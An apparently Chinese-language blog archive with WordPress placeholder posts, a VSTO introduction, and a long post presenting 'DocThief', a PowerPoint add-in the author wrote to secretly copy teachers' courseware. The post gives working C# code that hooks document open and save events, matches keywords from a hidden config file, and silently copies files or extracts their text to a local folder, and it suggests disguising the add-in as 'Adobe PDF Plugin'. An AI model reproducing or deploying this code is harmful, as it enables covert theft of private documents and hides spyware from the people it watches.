Author Archive

部分BlackPangolin 不能使用之说明

近日,有不少朋友有如下留言:
您好,我装了这个软件后打开提示:error starting blackpangolin:module ‘blackpangolin’ attempts to access a secure API.请问什么意思。望能给解决,很喜欢这个软件。
这里做如下说明。你们下载的版本有错。我曾经上传过一个临时版本,未注册过的程序,仅供在模拟器中测试使用。便是你们安装的版本了。解决方法很简单,直接找个最新版本下载安装即可。具体可至blackpangolin页了解详情。

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

初识VSTO

初识VSTO是在今年寒假,那时团队接到一个项目,是做一个Office的插件。刚接到这个项目,由于经验不足,我们根本无从下手,只能在网上闲逛,希望能遇到些有价值的东西。

渐渐的,我们接触到了宏。实际上,在我们这个项目里,宏可能能够实现我们的目标,但却不太便于推广。于是,我们继续闲逛中。。。

直到一周后的某天,我们才开始接触的VSTO这个名词。根据网上的资料,我们很快的熟知了VSTO,项目进度也提升了起来。

说实话,我不太喜欢微软的东西,但鉴于Office的市场占有率,我还是推荐大家作一些VSTO开发。

用VSTO能实现许多意想不到的功能。你可以通过它去监测Office的各种动作,去添加各种shape,slide等等。基本上你能手工实现的功能,VSTO都能给你实现,这是一个多么美妙的工具啊!当然,想要实现手工能实现的所有功能并不是想想象中的那么简单,每一个shape的排版什么的,都需要花费大量的时间、精力。这便要求我们有足够的耐心,去挑战那些繁琐的工作,去尝试那些未知的错误。

国内关于VSTO的书是少之有少,于是,我便将自己所用到的做了些总结,希望能给那些初识VSTO的人予他们想要的帮助,让他们对VSTO能有个初步的了解,能拥有你想要的个性的Office。。。

再战Office数据安全

作为学生,常常能碰到一些爱搞“隐私”的老师。这些老师往往不愿意轻易将自己的劳动成果给予他人。对于他们,咱们这些网络安全的爱好者也只能自己动手了。
现今来说,“拿”教师的课件的方法是一般有三种。其一是“U盘小偷”类软件,这类软件容易由于对工作条件要求比较高,一般“用户”都会将它置于启动项中,这样一来也未免有些过于招摇,而且这类软件拷贝的内容未经筛选,将取到大量无用文档,大大的浪费了咱们宝贵的容量;第二种便是“Easy Recovery”类软件,当老师把文档拷到本地的缓存文件夹时,这类软件能表现出非凡的能力,然而当老师直接在U盘的辅助存储器上播放课件时,这类软件也只能无力回天了。第三种是使用Office宏,但是由于宏的安全性这种方式有极大的限制性。
大家知道,MS Office提供了一系列插件接口,开发者可以通过调用其接口为Office开发新的特性。当这一个技术被非法利用的时候,一种新的方法诞生了:基于Office的插件系统开发数据盗窃软件。
我开发的DocThief ,是一款基于PowerPoint Com组件加载系统的数据盗窃软件。其主要功能是监控PowerPoint事件,当有打开或保存某文档时执行盗窃动作。盗窃方式包括下面一些步骤:扫描该文档,发现符合自定义的规则(存在某关键字),则将其内容储存。储存方式分两种,既直接复制文件,或只提取文字,保存为文本文件。
该软件的开发是基于Office 2005 + VSTO。VSTO全称VS Tool for Office,是开发Office的工具,可在微软官网下载得到。其安装较为简易,在此,我不多做介绍。装完这款软件后,咱们便能开始VSTO之旅了。打开VS,在“新建项目”窗口的C#或VB下便有了Office选项,点击,有PowerPoint外接程序等。如图1:
以下,我便直接从我的程序出发,给大家介绍一些简单的VSTO。
首先,便是程序中要用到的一些,变量,如下:
//目的文件名,默认值为”test.ppt”
private string Str_DesFileName = “test.ppt” ;
//目的文件路径,默认值为@”d:\”
private string Str_DesFilePath = @”d:\” ;
// 当前文档
//VSTO 中,一个ppt既是一个Presentation
private PowerPoint.Presentation CurPresention ;
//保存文件的线程
private System.Threading.Thread Thread_SaveFile ;
接下来便进入程序了,笔者将以程序运行顺序,依次给大家介绍重要内容。
VSTO在加载时,会运行private void ThisAddIn_Startup( object sender, System.EventArgs e ),于是,咱们也就能在这儿进行初始化了。这款程序的初始化主要是读取用户的加载文件,如果需要既开始侦测事件。由于这是一款不太适合“招摇”的程序,因此也不可能在PowerPoint中写出一个加载项来让用户选择加载文件或填写各种信息,只能通过固定路径的方法来储存此加载文件。笔者在此是枚举所有盘符,并在各盘的根目录直接搜索此文件,若文件存在,则开始侦测,否则不侦测,代码如下:
string[] Tmp = Environment.GetLogicalDrives();
foreach ( string Str_Driver in Tmp )
{
if ( File.Exists ( Str_Driver + “Demand.dem” ) )
{
Str_DemandFilePath = Str_Driver + “Demand.dem”;
break;
}
}
if( string.Empty == Str_DemandFilePath )
{
return;
}
ReadDemand();
开及保存事件侦测代码如下:
this.Application.PresentationOpen +=
new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationOpenEventHandler( this.PresentationOpen );
this.Application.PresentationSave +=
new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationSaveEventHandler( this.App_PresentationSave );
this.PresentationOpen 及 this.App_PresentationSave 为自定义函数,但其参数已被限制,此内容将在后边介绍。
下面,咱们便进入加载文件的读取。加载文件的内容模板如下:
< DesPath = @”d:\wuys” > < DesName = “filename” > < KeyWord = “hi” > < IsOverwrite = false > < CopyMode = OnlyText >
第一项为保存路径;第二项为文件名,当DesName为filename时,为原文件名;第三项为关键字,只当关键字存在时方拷贝文件,关键字可以有多项,也可以为空,为空时无论什么文件皆拷贝;第四项为同名时是否覆盖;最后一项为储存模式,有OnlyText或Copy两种选择。其具体内容,便是读取文件在解析表达式了,这段代码我就不写出来了。大家去光盘里面看看好了。
其中,有出现Is_ToCopy(Str_KeyWord)函数,这是一个bool型函数,主要功能是处理关键字。在当前文档中搜索关键字。若关键字存在,则返回true,表示此文档需要拷贝,否则返回false。
这个函数的是通过枚举的方法,将文档中的所有文字与Str_KeyWord相比较,若找到,则直接返回,否则继续,直至最后,返回false。以下,我便将这个函数全文拷贝过来,正好也能让大家了解一下VSTO中PowerPoint的结构。
private bool Is_ToCopy(string Str_KeyWord)
{
if (Str_KeyWord.Trim() == “”)
return true;
foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides)
{
foreach (PowerPoint.Shape shape in slide.Shapes)
{
//To see whether the Str_KeyWord exist in the Presentation
string tmp = shape.TextFrame.TextRange.Text;
int i = tmp.IndexOf(Str_KeyWord);
if (-1 != i )
return true;
}
}
return false;
}
在这两个foreach中,PowerPoint的结构比较清楚的展示出来了。其中,slide表示一页,shape则为一个元件,可以是PowerPoint中你能加入的任何一种元素。到此为止,初始化就算完成了,接下去的便是事件的驱动了,咱们也离隐蔽的文档近了一步。
当事件发生时,咱们的函数也就跑了起来。由于侦测函数有严格的参数定义,以下全文给出。里边内容,大多前边都有介绍,便不多说了。
private void PresentationOpen(PowerPoint.Presentation presentation)
{

Str_SourceFileName = presentation.Name;
Str_SourceFilePath = presentation.Path;
CurPresention = presentation;
if (Is_Copy)
{
Thread_SaveFile = new System.Threading.Thread(SaveFile);
Thread_SaveFile.Start();
}
}

private void App_PresentationSave(PowerPoint.Presentation Pres)
{
if (Is_Copy)
{
SaveFile();
}
}
最后,便是咱们的保存文件函数了SaveFile()。
try
//容错
{
string Str_Des;
if (Is_OverWrite)
{
//此为覆盖模式,直接用路径加上文件名。
Str_Des = Str_DesFilePath + “\\” + Str_DesFileName;
}
else
{
//非覆盖模式。
string Str_FileName;
string Str_FileSuff;
//将文件名和后缀名分开。
int Int_Pos = Str_DesFileName.LastIndexOf(‘.’);
Str_FileName = Str_DesFileName.Substring(0, Int_Pos);
Str_FileSuff = Str_DesFileName.Substring(Int_Pos, Str_DesFileName.Length – Int_Pos);
if (File.Exists(Str_DesFilePath + “\\” + Str_DesFileName))
{
int i = 1;
//在文件名后边加数,以保证不覆盖其他文件。
while (File.Exists(Str_DesFilePath + “\\” + Str_FileName + i.ToString() + Str_FileSuff))
{
i++;
}
//由此便得到全路径及文件名。
Str_DesFileName = Str_FileName + i.ToString() + Str_FileSuff;
}
Str_Des = Str_DesFilePath + “\\” + Str_DesFileName;
}
if (0 == Int_CopyMode)
{
//拷贝模式。
File.Copy(Str_SourceFilePath + “\\” + Str_SourceFileName, Str_Des, true);
}
else
{
//纯文本模式。
StreamWriter SWrite = new StreamWriter(Str_Des);
//设置此属性后,SWrite能自动刷新内容,将缓存储存。防止某些错误发生而导致的信息丢失。
SWrite.AutoFlush = true;
//这个想必大家都不陌生了,在前面有类似的出现过。通过枚举来获得所有可视文字。
foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides)
{
//在最前面加上页面信息
SWrite.WriteLine(“Slide : Page ” + slide.SlideIndex.ToString());
SWrite.WriteLine();
foreach (PowerPoint.Shape shape in slide.Shapes)
{
//容错模式,若没有此项,则因某shape没有TextRange.Text发生错误时,此shape后所有信息都无法保存,对咱们是一个很大的损失。
try
{
string tmp = shape.TextFrame.TextRange.Text;
tmp.Replace(“\r”, “\n”);
SWrite.WriteLine(tmp);
}
catch (Exception Exception)
{
//异常处理
EventLog.WriteEntry(“SSPPDllMs”, “ERROR – ” + Exception.Message.ToString(), EventLogEntryType.Error);
}
}
SWrite.WriteLine();
}
SWrite.Close();
}
}
catch (Exception Exception)
{
//异常处理
EventLog.WriteEntry( “SSPPDllMs” , “ERROR – ” + Exception.Message.ToString(), EventLogEntryType.Error );
}
这样,咱们的文本小偷便完成了。咱们便能轻松“拿”到老师的隐蔽文档了。

但是我的DocThief还有个问题,那就是在Office加载项里面会出现它可怜的身影,怎么办呢?我建议的解决方案是把他的名字改成Adobe PDF Plugin。这样就比较有迷惑性了…期待更好的解决方法,如果大家有什么好的想法和意见,请联系我吧。

Incoming search terms for the article:

First Article

It’s my first aritcle.In fact I’ve no much to say,I would just like to invite you all to my blog,There may be something you like .And I am glad to offer you with something you need.You know,it’s such a pleasure to help others with the technology you grasped.

So,my friends,Welcome to my blog.Welcome to the amazing world!